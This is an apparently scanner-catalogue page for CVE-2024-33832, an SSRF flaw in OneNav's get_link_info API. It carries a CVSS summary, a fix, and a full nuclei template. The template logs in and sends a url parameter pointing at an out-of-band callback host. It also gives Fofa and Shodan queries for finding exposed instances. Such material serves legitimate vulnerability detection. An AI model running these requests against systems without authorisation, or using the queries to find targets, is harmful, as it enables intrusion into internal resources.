OneNav v0.9.35-20240318 - Server-Side Request Forgery (SSRF)

mediumseverity

6.5CVSS score

0.7%likelihood of exploitation, next 30 days

54%of all CVEs are less likely

Readycheck to confirm it

OneNav v0.9.35-20240318 is vulnerable to server-side request forgery (SSRF) via the url parameter in the get_link_info API. An attacker can force the server to make arbitrary requests, potentially accessing internal resources.

Impact

Authenticated attackers can force the server to make arbitrary requests via the url parameter in the get_link_info API.

Fix

Update OneNav to a version later than v0.9.35-20240318 that patches the SSRF vulnerability.

How to confirm it

Send: POST /index.php?c=login&check=login ; POST /index.php?c=api&method=get_link_info
Positive when: contains in interactsh_protocol "http" AND contains "title\":" and "description\":" AND contains in content_type "application/json"

Run it with nuclei: nuclei -id CVE-2024-33832 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-33832

info:
  name: OneNav v0.9.35-20240318 - Server-Side Request Forgery (SSRF)
  author: ritikchaddha
  severity: medium
  description: |
    OneNav v0.9.35-20240318 is vulnerable to server-side request forgery (SSRF) via the url parameter in the get_link_info API. An attacker can force the server to make arbitrary requests, potentially accessing internal resources.
  impact: |
    Authenticated attackers can force the server to make arbitrary requests via the url parameter in the get_link_info API.
  remediation: |
    Update OneNav to a version later than v0.9.35-20240318 that patches the SSRF vulnerability.
  reference:
    - https://github.com/Hebing123/cve/issues/39
    - https://nvd.nist.gov/vuln/detail/CVE-2024-33832
  classification:
    epss-score: 0.0072
    epss-percentile: 0.54239
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 6.5
    cve-id: CVE-2024-33832
    cwe-id: CWE-918
  metadata:
    max-request: 2
    product: onenav
    fofa-query: icon_hash="1111283449"
    shodan-query: http.favicon.hash:1111283449
  tags: cve,cve2024,ssrf,onenav,oast,authenticated,vuln

http:
  - raw:
      - |
        POST /index.php?c=login&check=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        user={{username}}&password={{password}}

      - |
        POST /index.php?c=api&method=get_link_info HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        url=http://{{interactsh-url}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: body
        words:
          - 'title":'
          - 'description":'
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

References

Use this check only on systems you are authorised to test. Where the data comes from